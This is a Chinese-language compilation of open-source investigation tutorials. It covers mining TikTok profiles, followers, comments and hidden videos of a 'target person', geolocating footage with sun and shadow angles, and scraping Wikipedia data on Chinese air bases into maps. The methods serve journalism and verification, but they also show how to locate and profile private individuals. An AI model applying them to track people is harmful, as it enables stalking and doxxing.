关注者是该帐户当前关注的所有用户的列表。如果您只有一台计算机，而且没有*TikTok*帐户，那么查看用户的关注者可能是一项艰巨的任务。 不幸的是，在*TikTok*网站上似乎没有一种原生的方式来复制它。 话虽这么说，但是有一个"第三方网站"（如上图），可以帮您做到这点。并非所有帐户都保存在那里，但始终值得一试。 调查人员必须针对，目标用户的关注者比他们的关注者有价值，因为前者是您的调查目标主动添加的人，这一添加动作会是有理由的。 这表明他们要么对这些帐户投资者，要么在现实生活中或在另一个平台上认识这些人。这就是挖掘隐藏的社交关系的思考方式。 *演示《如何挖掘目标人隐藏的人际关系？》 例如，如果他们意识到拥有完全相同的兴趣的追随者，这对于建立一种生活模式的概述也非常有用。你甚至可以通过跟踪这一生活模式，在其他网站和平台挖掘到您的目标人的更多深入信息。 还记得我们在“完美隐身”系列中讲过的"利用麦当娜诱骗目标人上钩"的案例吗？在下面回顾“完美隐身”系列内容： *《如何做到完美隐身：直面你的对手— *6*大原则（*1*）》 *《如何做到完美隐身：追踪者的手段和你的弱点（*2*）》 *《如何做到完美隐身：思考方式是战略性的（*3*）》 *《如何做到完美隐身：技术增值部分—最简单的分身方法（*4*）》 *《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（*5*）》 *《如何做到完美隐身：令人兴奋的心理过招（*6*）》 *《如何做到完美隐身：扫荡危险区域（*7*）》 在上面的示例中，您可以看到*Howie Mandel*仅追踪了*18*个帐户，而且似乎都是名人，或某种形式的社交媒体影响力帐户。 *!!!*追随者 —— 「图」「图」 用户的粉丝列表将包含关注该帐户的所有用户的列表。 就像遵循一样，如果您只有一台计算机和/或

没有TikTok帐户，则查看该用户的粉丝可能是一项艰巨的任务。 拥有帐户的用户和移动端TikTok应用程序可以在其个人资料上列出用户的关注者；而在TikTok网站上似乎没有一种直接的方式。 同样，建议使用同一第三方网站，该网站可让您在此处查看用户的关注者列表。 请注意，并非所有帐户都会出现在此站点上。 关注者提供的信息可能不如followers那么收益，但是绝不是没用。 搜索此列表，尤其是注意那些较小的且鲜为人知的帐户，可以帮助找到该帐户所有者在现实生活中或在另一个平台上认识的人，从而帮助缩小其位置范围，命令查找其他帐户变得更容易。 在上面的示例中可以看到，该帐户拥有超过2500万关注者，这意味着无法简单地逐个梳理他们，还是应该寻找其他可利用的领域。 !!!点赞 —— 「图」「图」 用户收到的点赞总数将显示在其个人资料中，这是其他用户在每个视频上给出的全部点赞的总数。 出于调查的目的，除了可以尝试确定帐户的建立或合法性之外，点赞没有太多价值。话虽如此，如果您想查看目标用户点赞的所有视频，则可以在上述同一第三方网站上查看。很可能直观地看到目标人的高度和品味。 在上面的示例中可以看到，该帐户对近200个视频给予了点赞，但其中许多视频来自不同国家/地区，但是，其中英国的标志出现频率最高，并且可能表明该帐户所有者来自英国，或目前在哪里居住。 该目标帐户所有者也可能恰好对英国用户的帐户更感兴趣，并且在确定之前需要更多验证信息。 !!!简介 —— 「图」「图」 这个部分是允许用户提供有关自己的简要介绍的区域，就显示在以下，、跟随者和点赞的下面。 尽管用户可以引发区域留空，但对调查者来说，简介可以是目标用户个人资料中信息最多的部分之一。甚至你可以在此之后发现一些非常敏感的信息，有时：其他平台的其他帐户名，位置，真实姓名等，甚至有人将会在此之后显示亲密关系，例如“我是***的丈夫”。 在上面的示例中可以看到，用户的简介部分中列出了Facebook名称，以及描述其Facebook帐户的个人资料照片，你可以在Facebook上找到她。然后使用强大的**Facebook**情报挖掘能力，能获取更深刻的信息。 *例如《搜人，照片，视频，位置……大全：新的FB”图谱搜索”替代方案— —尤其突出防御》 !!!视频 —— 「图」「图」 视频是TikTok平台的骨干，是通过点赞和评论进行社交互动的地方。 用户最多可以发布一分钟的视频；让研究人员有足够的时间浏览很多视频，而不会因本身的扩展长而交错，就像在其他平台上可能遇到的那样。 您可以在原始码中轻松搜索每个视频的网址，从而无需任何第三方工具即可轻松下载视频以供以后使用。 您可以右键点击并选择“检查元素”，然后搜索“ playwm”以找到视频的网址，该网址看起来下面这样。您可以从那里右键点击视频，然后选择“另存视频为”。 https://www.tiktok.com/node/video/playwm?id=6747120899637382402&_signature=x.khSAAgEB1bUV2rbziwZcf5Il
视频还包含样本，可以进行进行反向图像搜索，杀死在其他平台上找

到它-有可能关联用户身份，也可以下载该样本以供以后调查使用。 要找到此基线，请重复上述相同的步骤以下载视频，只是在原始码中搜索“ *poster* ＝”之后的网址，它会看起来像这样： *poster* ＝” *https://p16-tiktokcdcd-com.akamaized.net/obj/v0201/gm01rv34mr95askb9hmb0000a152070v0200001e05*” 关于视频真伪验证的一些技巧回顾如下： *《如何对视频进行开源情报调查和信息验证：推荐好用的工具》 *《*10*个简单技巧快速验证社交媒体热门视频的真伪》 *《公民记者如何验证民间爆料视频的真实性？》 *《信息验证：如何自动反向图片搜索*YouTube*和*Vimeo*的视频？》 *《突发事件来了，如何进行全面的视频信息采集？》 *《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》 *!!!*文本 —— 「图」 「图」 发布视频时，用户还可以选择在帖子中添加一些文字。 此部分可用于提供有关该视频的更多背景信息，并且通常可以包含位置信息，和/或视频中可能描述的朋友或其他人的姓名或用户名。 在上面的示例中可以看到，“ *ioawastate*”已包含在文本部分，该区域提供了一个非常狭窄的搜索。 *!!!*标签 —— 「图」 「图」 *TikTok*上的标签与其他社交媒体平台的工作方式相同。用户可以将标签添加到他们的视频中，从而使您可以快速找到网站上具有相关主题或内容的其他视频。 您可以通过将其添加到以下链接的末尾，盔甲在网站上搜索主题标签： *https*: ***www.tiktok.com/tag/*** 然后，您可以看到所有发布的共享相同标签的公开视频。这对追踪特定主题事件来说非常有用。 标签还可能会为视频中的人或视频所处位置中的人的追踪提供线索，例如在上面的示例中，显示了洛杉矶附近发布的许多视频。 知道拍摄视频的城市，州或国家/地区，可以更轻松地找到重定向位置，或缩小可能的目标人列表。 ***!!!***音乐 —— 「图」 「图」 用户可以在其***TokTok***视频中添加音乐，其信息将显示在视频的文本和标签下方。在大多数情况下，音乐信息将包括艺术家和名称。 用户也可以发布自己的音频而不是使用那些音乐。上面的第二个示例，它显示***“ original sound-”***，后跟用户的唯一***ID***。 如果目标用户似乎对特定的音乐家非常感兴趣，那么就可以根据他们的内容帮助确定其他叙述。 ***!!!***视频点赞 —— 点赞和评论的总数将显示在视频评论部分的上方，这个数字代表的可能是所发布的特定视频的受欢迎程度。 出于调查目的，除非您正试图根据每个视频的平均点赞次数确定特定用户在何时流行起来，否则这几乎没有价值。 另请注意，这是仅针对该特定视频的点赞的总数，而不是用户个人资料中显示的总点赞数。该部分的处理方式与总“点赞”计数相同。 ***!!!***视频评论 —— 「图」 「图」 用户可以对视频发表评论，这可能有助于进一步识别最初发布视频的用户。 可以查看经常在该用户的视频上发表评论的个人用户资料，查看他们是否泄漏了任何位置或标识性信息。这是一个扩展追踪。 评论中甚至还可以显示有关该视频的更多信息，例如有人问该视频在哪里拍摄的，例如在上面的示例中，有

多个评论表明该视频是在目标商店内拍摄的。 ***!!!***最后 希望您现在已经准备好开始您的第一次***TikTok***调查了，别忘了上述要点。 也别忘了专门服务员抖音的调查工具，在这里看到。〇 广告 原文

使用太阳和阴影进行定位追踪的技巧：小提示 - iyouport

开源情报-每个人都可用的武器

从您的公寓楼窗户里看到的景色可能会导致任何人追踪您的位置

大多数做过照片和视频追踪定位的人都会知道一个叫SunCalc的工具，它可以对视频或图像进行时间定位。

但鲜为人知的是，阴影和太阳的位置也可以用于地理定位。

- 在这里看到一个演示《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》
- 在我们的列表-5 “侦探挑战游戏” 中看到更多相关调查演示，该系列侧重与追踪定位调查

如果您还尚未了解这个工具，您只需要知道，SunCalc 可以让用户在任何给定的时间和日期，在任何给定的地点分析阴影和太阳的位置。通过选择一个日期并放大一个地点，比如马德里的太阳门广场，用户可以点击页面顶部的拖动太阳图标来查看某一时间的太阳位置。下面这张来自SunCalc的截图显示了2020年11月22日中午太阳门广场上空的太阳位置。此外，当用户选择任何物体的高度时，算法会显示出其影子的相应长度。SunCalc工具的屏幕截图，显示了马德里的太阳门广场

作为地理定位的时间定位

「图」

但还有另一种经常被忽视的使用 SunCalc 的方法。该技术可以非常有效地缩小搜索区域，通过排除误报，并确定相机在某一帧中指向哪个方向。

来看看如何使用它。

下面的视频是由 Instagram 用户于2020年11月22日上传的。

它是作为一个 story 上传的，这意味着它在24小时后从这个人的个人资料中消失了。

这段视频有时间戳，清晰地显示了太阳和阴影。这是第一个提示。第二个提示是，用户是葡萄牙人。

换句话说，它很可能是在葡语国家拍摄的 —— 可能是巴西，可能是葡萄牙，也可能是非洲的一个葡语国家。虽然伴奏歌曲是由巴西歌手演唱的（Xand Avião的Surra de cama），但这个视频实际上是在葡萄牙拍摄的。

这一点是如何确定的？

视频的时间戳显示，该视频拍摄于UTC时间下午4:31。此外，当在Instagram上打开一个 story 时，观察者可以发现这个故事的上传时间（例如 “25分钟前”）。这两个时间戳都与葡萄牙的实际时间相符，也就是说，该视频也是在下午4点31分（UTC）左右上传的。然而，即使没有时间戳，普通观察者也能看出该视频是在傍晚时分拍摄的。

我们有理由认为这段视频是在里斯本拍摄的，因为里斯本是葡萄牙最大的大都会区。可以看到大海，因为视频看起来像是在一个中等规模的城市或者更大的城市拍摄的。

所有这些都可以用 SunCalc 来检查。在这种情况下，打开页面，选择2020年11月22日下午4点31分。这个链接可以打开 SunCalc，变量完全相同。

如上图所示，当时太阳即将落山，而且是在城市的西南方。在视频中，太阳就在拍摄者右侧的海面上。还可以清楚地看到，这段视频是在一条四车道的大道旁的公寓里拍摄的，大道中间有一排棕榈树，有一个停车场，还有一个拉长的环形交叉路口，似乎是最近才建成的。基于该Instagram视频截图的全景图

（在这里看到如何用视频制作全景图以便于观察分析《如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）》）

至此，我们知道，视频拍摄时间是下午4点31分，当时的太阳是在西

南方向。因此可以断定，拍摄者是面朝南的，大道的方向大致是由东向西。我们还知道，大海或海湾就在拍摄地点的正南方。这样就可以整理出这幅粗略的草图：

如果大海或其他水域必须在南边，那么就排除了几个地方—— 不仅是更远的内陆地区，而且也排除了里斯本大区在塔古斯河以南的任何地区。此外，鉴于这条大道不仅从东向西延伸，而且与海岸线平行，我们也可以排除塔古斯河口大部分位于里斯本东北部的地方。

这就把可能的地点缩小到里斯本中部正西的地方，沿着海岸线一直到卡斯卡伊斯。重要的是，在镜头中看不到塔古斯河口的另一边。这说明该视频是在塔古斯河与海洋交汇的更西边或大西洋沿岸拍摄的。

沿着海岸线从东到西搜索，寻找被一排棕榈树分割的宽阔大道，靠近一个拉长的环形路口，结果只有少量的潜在匹配。如果你使用谷歌地图或谷歌地球的预选卫星图像，你可能会完全错过拉长的环形路口，但即使如此，也很难错过奥埃拉什的共和国大道（Avenida da República）—— 有四条车道和一排棕榈树。在附近地区，没有其他类似的街道。

一个有用的快捷方式

「图」

如前所述，这种技术往往被人们忽视。不过，这是一个相当简单的技巧，一旦学会，可以节省大量时间。我总共只花了5到10分钟就找到了拍摄地点，开始时只是凭着一种直觉，觉得这个镜头可能是在葡萄牙—— 更具体地说，是在里斯本拍摄的。如果没有一个大致的方向，即基本方向与一些地标（在这种情况下是海洋）的关系，研究人员可能会浪费大量的时间来检查误报，否则他们就可以立即使用排除法 —— 在这种情况下，排除里斯本南部或东北部的沿海地区。

希望对您的调查来说这是一个有用的提示。对所有人来说，也许这会让您在线发布视频或图片之前三思，从您的公寓楼窗户里看到的景色可能会导致任何人追踪您的位置。〇

Using the Sun and the Shadows for Geolocation

原文

使用谷歌表格进行收据收集和开源调查的方法：以中国的空军基地为例 - iyouport

开源情报-每个人都可用的武器

在本教程结束时，您将能够直观地游览中国的所有空军基地，找到您的研究所需要的东西

本文来自 Tom Jarvis 的演示。

互联网上有很多数据，本教程将探讨如何利用这些数据，并将其变成对记者、公民调查者和开源情报分析人员有用的格式。

首先，介绍一下本文要讲的内容。本教程将以一个小项目为基础，该项目将维基百科上的文章数据转换成谷歌地图文件。

该数据是一张中国空军基地及其坐标的表格，但其格式导致分析起来很麻烦，而且手动将每个基地添加到地图项目中会花费很长的时间。解放军空军基地的清单很长，将它们手动添加到Maps项目中以进行进一步分析将花费很长时间

他在谷歌表格中采用了一个非常有用的数据抓取公式，能够完整地导入表格，然后能够在自定义地图文件中进行格式化。

地图：

https://www.google.com/maps/d/viewer?mid＝1dHrv7E_0mLVEzXdRxIGwaHBU16KEhrTj&hl＝en_US&ll＝

这个项目激发了其他人添加额外的数据，进一步推动了这个项目，并将更多的国家添加到项目中。

为什么要使用数据抓取？

「图」

在本教程结束时，您将能够非常快速地游览中国的所有空军基地，找到您的研究需要的东西

数据抓取是汇编大量信息进行额外研究的好方法。比如，作为一个喜欢看卫星图像的人，把所有的数据钉在地图上是一个非常有用的工具，因为它省去了您手动添加每一个点。

它还允许您快速起步，建立研究的模板。在某种程度上，它也消除了用户的错误。

下面将向您介绍的这种特殊方法有其局限性—— 即数据来源—— 但节省的时间使您能在地图上以更直观的方式检查数据的质量。

开始工作

「图」

最好的信息类型是有坐标的表格（维基百科对此很有帮助），可以开始使用。这些信息可以很容易地被收集和整理到电子表格中，并提供大量的额外信息。

如果您想跟着这个教程走，建议您使用与案例中一样的维基百科页面。另一个可以查看的是维基百科的“数据缺失或不清楚的卫星地图图像列表”。后者包含了很多异常情况和敏感的地点。每个人都想对世界上最神秘的间谍基地进行推测对吧……

即便您对电子表格经验有限也没关系。这些公式看起来有点令人生畏，但一切都可以复制/粘贴，您不需要任何数学技能就可以进行。

在谷歌表格中抓取维基百科表格的数据

「图」

从解放军空军基地页面抓取数据所需的代码是一个简单的导入HTML公式。

=ImportHtml(“https://en.wikipedia.org/wiki/List_of_People%27s_Liberation_Army_Air_Force_airbases", “table”, 6)将数据表从维基百科导入到电子表格的代码。请注意，URL 和末尾的数字（在本例中为 6）将取决于您正在研究的内容。

为了解释这一点，

```
=ImportHtml
```

告诉 Google 表格在特定页面和特定位置导入代码。

```
(“//WEB URL//”, “table”, //TABLE NUMBER//)
```

“WEB URL” 仅仅是您想抓取的页面的URL。它需要加引号。

“table” 是告诉Sheet将HTML导入为一个表格。您还可以导入其他元素，但这可能是最好的起点。

TABLE NUMBER 取决于页面的情况。如果一切顺利，您也许可以使用数字1。而在本案例情况下，表格会导入错误的元素，如下图所示：

要找到编号，您可能要用试错的方法。

格式化要转为地图文件的数据

「图」

要把它变成一个地图或 Google Earth 文件，首先需要知道它需要什么格式。

幸运的是，您可以导入CSV文件，这是一种简单的电子表格格式。

遗憾的是，我们现在还不能导入，因为坐标需要格式化。

导入时，需要将坐标放在独立的经纬度栏中。目前经纬度数据无法使用。我们需要将它们拆分并删除不需要的字符

以下是第一栏的条目。它以多种方式显示坐标。我们只需要一个。

```
30°35′00″N117°03′00″E / 30.58333°N 117.05000°E /
30.58333; 117.05000
```

选择最后一个（见下面的粗体和斜体）：

```
30°35′00″N117°03′00″E / 30.58333°N 117.05000°E /
//''30.58333; 117.05000''//
```

需要考虑如何分离出这些值。手工操作是不可取的。它花费的时间太长，而且不能为更大的数据集做好准备。

我们要删除正斜杠之前的所有内容，以及正斜杠本身。还想去掉分号，最后，把经度和纬度分成不同的列。

使用Excel来进行电子表格的格式化也许更好，因为它提供了更好的选择，所以本案例下载了电子表格并将其加载到Excel中。如果您想要更轻松的格式化体验，请将数据加载到 Excel 中

为了过滤掉所有不需要的数据，可以使用Excel中的查找和替换工具。按 Control＋H 键可以很容易地访问这个工具。

使用该功能替换斜线之前的任何东西。如果您以前没有使用过 “*”，它是普通的计算机用语，表示 “任何东西”。

因此，有一个 “*/” 意味着在正斜杠之前的任何东西。

我们还可以删除最后一个字符 “).。用同样的方法删除 [“] 很容易，但由于括号是一个特殊字符，所以更改起来会有点麻烦。

如果您想完全按照这里的方法来做，创建一个名为 “固定坐标” 的新列，并使用一个公式来删除最后一个字符（很快会介绍）：

```
=LEFT(C2, LEN(C2)-1)
```

现在我们已经从坐标中去掉了括号，只需要把它们分成两列，纬度和经度。制作这些列并复制坐标数据。

复制后，您需要只粘贴数值。这是绕过特殊字符在查找和替换功能中造成麻烦的另一种方法。

在第一个单元格上点击右键，可以看到粘贴选项。只粘贴数值是很重要的，因为需要将它们作为字符串而不是公式来编辑。

然后可以通过在查找部分使用 ;* 并在替换中使用空格来查找和替换分号之后的任何内容。

最后，对经度栏做同样的处理，但通过使用查找和替换并在方框中输入*; 删除分号之前的所有内容。

您现在有了一组格式化的坐标。将文件导出为.CSV格式，并将其上传

到 “我的地图” 或 “谷歌地球”。

当它出错时

「图」

这个过程相对来说是很简单的，但是您需要在发布之前检查一下它是否正常。

在这里的示例地图中，出现了一个问题。您可以看到，在非洲附近有一个基地存在。这是为什么呢？你可以看到在非洲有一个基地，但实际上并没有。注意它的位置

「图」

渚碧礁的条目在维基百科表格中从未有过坐标，因此导致电子表格出现错误。此错误转换为地图上的默认位置

现在可以与任何其他错误一起手动修复，希望这些错误应该很少见。○

Data Scraping with Google Sheets to assist Journalism and OSINT — Tutorial

原文

使用运算符深入挖掘抖音情报和追踪目标人：基本指南 - iyouport

开源情报-每个人都可用的武器

【2021年4月22日存档】对于挖掘抖音信息的一个比较详细的指南

【按】数据量越大的地方暴露的东西就越多，热门应用是社交媒体情报的绝对吸引力，抖音的流行引发了很多对该应用程序的开源情报调查方法的探讨。

bellingcat 这篇指南使用更巧妙的方法结合运算符从搜索引擎和其他热门社交媒体平台上“旁路”挖掘抖音，可以帮助您更好地锁定目标。

下面是具体做法。

在过去的几年里，TikTok 视频越来越受流行，这个比较新的平台可以让用户分享短视频片段，并且可以循环播放。它类似于现在已经停运的 Vine。

与其他视频分享服务相比，TikTok 的视频要短得多，目前，该应用支持15秒到60秒的视频选项，虽然用户可以选择制作长度小于15秒或60秒的视频，但不能超过60秒的终极限制，而且更注重笑话和音乐。

TikTok 取得了巨大的成功，根据 Sensor Tower 的数据，2019年最后一个季度，该App在 App Store 和 Google Play 的下载量已经超过了15亿次。虽然TikTok 在西方国家的受欢迎程度大多是众所周知的，但在印度的下载量最多。

由于全球有如此多用户，开源调查研究社区有很多机会使用该平台进行调查。本指南将详细介绍 TikTok 的调查途径，也会讨论该平台的局限性。

用户资料信息

「图」

当您查看个人资料时，有几个特征会吸引所有的注意力，用户名和个人资料图片。我们将在稍后详细介绍个人资料图片，但请记住，TikTok 上的许多人都倾向于在个人资料图片上使用自己的脸，这是一个对追踪调查来说非常便利的特征。

一个 TikTok 的个人资料会有以下细节，有些是独一无二的，有些则不是：

- 个人资料照片/头像, 默认选项是用户名字的第一个字母 (例如 J 代表 John Smith)；
- 独特的用户名（没有空格）
- 显示名字 (不唯一，可包括空格)
- 追随者、追随的人和点赞
- 简介

用户名（下面的 enzoknolyt）也将在帐户的URL中被使用。2020年4月之前，下面的小字（Enzo Knol）是用户名，但 TikTok 在用户界面中对此进行了更改。

如下例所示，显示名字 “John Smith” 可以属于 TikTok 上的多个用户，但只有一个用户名是 “johnsmith”。

一个人的粉丝量和关注的人数也是用户资料的一部分，用户从其他账户获得的点赞数也是如此。最后一项信息，不一定要填写，是用户的简介。对于调查者来说，这些信息都可以在不登录的情况下查看。

下载个人资料图片

「图」

根据您是使用网页浏览器还是移动设备访问TikTok个人资料，该平台会让您看到不同的信息和选项 —— 值得注意的是，这包括搜索功能和下载个人资料图片的功能。

和 Instagram 一样，我们使用的一个技巧是通过网页浏览器上的 “检查元素” 功能来下载更高分辨率的个人资料图片。这个技巧可以在 Chrome 和 Firefox 中使用，无需任何外部网站或工具。

- 不要错过，下载原始分辨率照片的方法《别让社交媒体的自然模糊阻挡真相》

使用网络浏览器，无论是 Chrome 还是 Firefox，并进入您要调查的目标个人资料，右键点击个人资料图片，然后选择 “检查元素”（Chrome 浏览器上的 “检查” 即可）。浏览器的开发者窗口会在屏幕的右半部分打开，您需要寻找一组特定的代码，这些代码应该出现。

使用 Chrome 浏览器，您要找的代码是 **‘img src’** 和后面的**URL**：

「图」

使用Firefox，代码将以 **“img class”** 开头，并在 **src**= 出现后提供所需的**URL**：

「图」

在代码中找到这个URL后，可以右键点击它，然后选择 “在新标签页中打开”。

要想获得更大的个人资料图片，只需要更改末尾的数字或URL即可：

「图」

如果图片的大小没有变化，可能是没有更大的图片可用。这取决于图片上传时的原始尺寸。

下载视频

「图」

如果您想下载某人发布的视频，而您使用的是TikTok的网页版，可以使用同样的原理。

进入您想下载的视频，然后右键。再次打开开发者工具，您需要搜索 “video src”，就像下面的截图。

「图」

在链接上右键点击可以让您选择在一个新的标签页中打开视频，再次右键可以保存视频。

如果想确保视频和页面以您发现它们的方式保存，您可以使用 **Wayback Machine** 对页面进行快照。虽然 Wayback Machine 在一些社交媒体上很吃力，但它与TikTok配合得非常好。

只需将视频的URL复制并粘贴到网站上的 “立即保存页面” 部分。该页面将被保存，看起来像这样：

```
[[https://web.archive.org/web/20200323095239/
https://www.tiktok.com/@sebasvisuals/
video/6795869283613248773|https://web.archive.org/
web/20200323095239/https://www.tiktok.com/
@sebasvisuals/video/6795869283613248773]]
```

另一个下载视频的选择是通过使用扩展程序，但您需要自己决定是否要使用第三方工具。您可以使用 Instagram & TikTok 下载器一次性下载多个视频，但请注意，这个扩展程序只在Chrome浏览器上可用。

手机与网页浏览器的对比

「图」

1、网页浏览器

「图」

TikTok 被设计成一个移动应用程序。尽管您可以使用网页浏览器来调查一个目标账户，但它的功能有限。

使用网页浏览器，您可以看到视频、一个人的用户名、独特的ID、使用的音乐，以及点赞和反馈的数量。无法看到评论是什么。

如果您使用浏览器登录TikTok账户，可以上传视频，也可以看到视频旁边的用户评论。这个功能对调查很有帮助，因为它可以让您深入了解围绕特定视频的讨论情况。

如何使用搜索引擎搜索用户或关键词，后面将进一步介绍。

2、移动端

「图」

手机应用会给您的调查提供更多的信息，您也的确需要一部手机来创建一个调查使用的袜子木偶账户。

有不同的选择来注册，您可以使用手机号码或电子邮件地址，也可以选择使用其他社交媒体账户之一来注册。

如果使用电子邮件地址注册，您将无法在TikTok上联系其他用户，除非您在额外的步骤中将电话号码与帐户联系起来。但是，如果您只想在该应用上进行搜索，一个一次性的电子邮件地址就足够了。

用手机查看一个账号，您可以看到以下信息：

- 点赞数量；
- 一个视频被分享了多少次；
- 谁评论的，评论的日期，以及他们说了什么；
- 追随者：有多少，都是谁
- 关注的人：有多少人、以及都是谁
- 点赞数：总点赞数 (不是谁点赞)
- 音乐
- 发现：热门标签
- 搜索：最新、用户、视频、声音、标签

隐私保护

「图」

一旦您创建了一个账户，您应该看看TikTok的隐私设置。该平台已经被指责存在一些隐私问题，但作为一名调查人员，无论如何您都应该考虑创建一个专门用于调查研究的虚构账户。具体做法见《某些行动者，你需要一个袜子木偶》。

特别是因为TikTok有一个新功能，允许用户查看谁访问了他们的个人资料。这个功能似乎在TikTok最近的更新中消失了，但不能保证它不会在某些时候回来。

要调整您在应用中的隐私设置，请点击“我”，然后点击右上角的三个小点。在这里有一个名为“隐私和安全“的部分。

如果您只使用您自己的账户进行调查，可以选择将您的账户变成私人账户，并关闭“向他人推荐您的账户”。

向下滚动还可以选择其他选项，但这些选项主要是相关的，如果您打算也在该平台上发布自己的内容的话。

内部搜索

「图」

该应用的内部搜索功能让您可以选择搜索几种东西。

如果按屏幕下方的发现图标，会看到一些标签选择，那些都是目前最流行的标签。

「图」

您可以在页面顶部开始搜索关键词。输入关键词后，TikTok会提供不同的选项。

您可以从 “Top” 页面开始，这里是与您的关键词相关的最热门标签、视频和用户的概览。

下一个是用户，在这里您可以搜索所有在用户名或唯一身份中使用您的关键词的用户。

视频选项为您提供所有在描述中包含了您的关键词或被标记了与您的关键词相对应的标签的视频。

如果点击视频，该应用还会给您提供下载视频的选项。点击 “分享”（小箭头），然后点击 “保存视频”。

音乐标签可以显示与您的关键词相对应的音乐，以及该音乐片段在视频中被使用的次数。如果点击一首歌，可以看到人们使用同一音乐片段的其他视频。

您可能会看到一个标记为 “原创” 的视频，这是指该用户制作了这个音乐片段，并首先使用了它。

最后一个选项是标签，在这里您会看到包含您正在寻找的关键词的标签显示。搜索会提供标签的变体。如果您使用关键词 “假新闻”，它将提供 #fakenews 这样的标签，但也有 #fake_news 或 #nofakenews。

如果把关键词放在引号内，将没有区别。通常情况下，用引号包围您

的关键词会告诉网站，所选择的关键词必须作为一个精确的短语出现。

本指南的后面还将向您展示如何通过操作URL来搜索标签。

不使用App就能获取信息

「图」

如果您不喜欢使用TikTok手机应用，那么如何从外部去搜索这个平台，有多种可能。与 Snapchat 等其他以手机应用为主的平台相比，TikTok在没有账号的情况下进行网络搜索时会更容易。

在社交网络上搜索 TikTok 内容的方法

「图」

许多用户在 Facebook 或 Twitter 等社交网络上分享TikTok视频，我们建议在任何调查中检查这些（也可能是其他）社交网络。来看看最好的搜索方法。

1、Facebook

要在 Facebook 上找到TikToks，请在搜索框中输入 tiktok.com 和一个关键词。然后，选择 “视频”。

您甚至可以将结果限制在特定的时间段内—— 例如，“上个月”——或按 “最近” 排序。然而，您可能会得到错误的结果，特别是在使用 “最近” 选项时。我们注意到，当按最近日期排序时，经常得到的结果不包括我们的关键字。

您也可以将您的关键字与 **m.tiktok.com** 或 **vm.tiktok.com** 结合起来，而不是搜索 **tiktok.com**。这些选项中的每一个都会给您不同的结果。

vm.tiktok.com 的网址意味着用户在TikTok应用内分享了一个视频。他们点击了任何一个TikTok视频上的 “分享” 按钮，并选择了 Facebook，这就提示他们打开手机上的 Facebook 应用，并建议自动生成一个帖子，可以直接从那里改编和分享。

但如果用户点击 “分享”，选择 “复制链接”（此时是一个

vm.tiktok.com 网址），然后手动到 Facebook 上将该链接发布到一个新的帖子中，就会生成一个 m.tiktok.com 网址。您可以在视频的预览中看到它：

只有在极少数情况下，您才能在一个 Facebook 帖子中同时看到 vm.tiktok.com 和 m.tiktok.com URL：

如果用户没有先写一些文字就直接在 Facebook 帖子的开头发布 vm.tiktok URL，就会出现这种情况。

通过搜索不同的URL类型，不仅可以得到不同的结果，还可以获得用户如何分享TikTok的信息。需要注意的是，如果没有找到与您的关键词相关的内容，Facebook 往往会随机向您展示TikTok视频。如果您没有得到任何有用的结果，只需尝试其他关键词。

- 不要错过，高级搜索 Facebook 的方法《搜人、照片、视频、位置 …… 大全：新的FB"图谱搜索"替代方案 》

2、推特

Twitter 上的搜索工作方式非常相似。您会发现同样的 tiktok.com、m.tiktok.com 和 vm.tiktok.com 网址，您一定要全部尝试。不过，我们发现，在使用这些不同的选项时，搜索结果与 Facebook 相比差异较小。有时，结果甚至完全相同。

在 Twitter 上还有另一种特别有用的搜索技巧。如果用户决定通过 TikTok应用在 Twitter 上共享内容，则会向他们显示一条类似以下内容的推文建议：

推特文字可以更改，但许多用户保留了建议的标签。因此，您会在 Twitter上发现很多 Tiktok 视频都包含 #TikTok 这个标签。可以简单地将该标签与您的关键词结合起来进行搜索，然后选择 "视频"，就可以得到您特定搜索词的TikTok 列表。

「图」

您也可以用 #TikTokviral、#TikTokChallenge、#tiktokexposed、#tiktokhot 或 #tiktokers 来试试，因为当用户开始编辑 #TikTok 标签时，这些经常会被推荐给用户。

- 不要错过，高级搜索 Twitter 的方法《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

识别错误和虚假信息

「图」

在调查误导性和造假信息时，另一个特别相关的提示是，在社交网络上分享的视频中要时刻注意 TikTok 的标志。

用户 “盗取” TikTok 视频，并在其他社交网络上以完全不同的语境分享的情况时有发生，但 **TikTok** 视频中含有 **TikTok** 标志和创建视频的人的独特用户名。许多造假者并不屑于删除这些信息，尤其是因为这些信息并没有放在视频内非常显眼的位置，很容易被忽略。在某些情况下，这可以帮助您追溯病毒式传播的视频的最初来源。

使用同样的技术寻找一段在 Whatsapp 上流传的视频可能来自哪里。虽然最初发送的 Whatsapp 视频中并没有TikTok的标志，但调查者在Twitter上找到了同样的视频，这次找到的视频中包含了TikTok的标志和用户名。这最终让他们找到了一个病毒式传播的TikTok视频。在这种情况下，他们必须非常仔细地观察，才能发现TikTok的用户名 “@ihanaids”。

通过搜索引擎搜索 **TikTok** 的内容和用户

「图」

1、音乐类

「图」

通过搜索引擎找到 TikTok 内容的方法有很多种。从一个不太明显的方法开始：音乐。

歌曲和声音在平台上扮演着至关重要的角色。几乎每个 TikTok 都包含某种声音，如果这些声音被病毒式传播—— 这种情况经常发生—— 每个TikTok用户都会突然想把同一首歌曲作为背景音乐添加到自己的视频中。2020年3月，“It’s Corona time” 就是这种情况，它被添加到了大量的视频中，这些视频展示了冠状病毒大流行如何影响TikTok用户的生活。

每个TikTok中都注明了歌曲名称。

点击歌曲标题，就可以看到所有基于同一首歌的 TikTok 列表（如果

看不到任何 TikTok，可能是因为TikTok目前正与音乐公司就版权问题发生冲突，详见《金融时报》的文章）。每首歌都有自己的 **URL**，以 **www.tiktok.com/music** 开头。

该**URL**还包含歌曲标题，这对在线调查有很大的帮助，因为我们可以使用该模式来搜索关于特定主题的TikTok声音。

为了找到关于大麻的歌曲，在**Google**上使用 **site** 运算符搜索关键词 “weed”，并指定只想要在TikTok音乐的URL中包含我们关键词的结果：

```
site:tiktok.com/music inurl:weed
```

- 关于谷歌运算符您需要了解的一切《攻防皆可用：GoogleDorking 高级运算符完整列表》
- 还有一本书，更详细地介绍谷歌黑客的做法，见《呆子是只会说真话的人》

2、标签

「图」

虽然最好的搜索音乐的方法是让谷歌命令尽可能地具体化，但是，对于标签搜索，建议反其道而行之。

要找到特定标签的 TikTok，可以简单地在以下URL的末尾添加该标签：

```
[[www.tiktok.com/tag/put_any_hashtag_here|http://www.tiktok.com/tag/put_any_hashtag_here]]
```

例如，如果您想看关于特朗普的TikTok，可以这样：

```
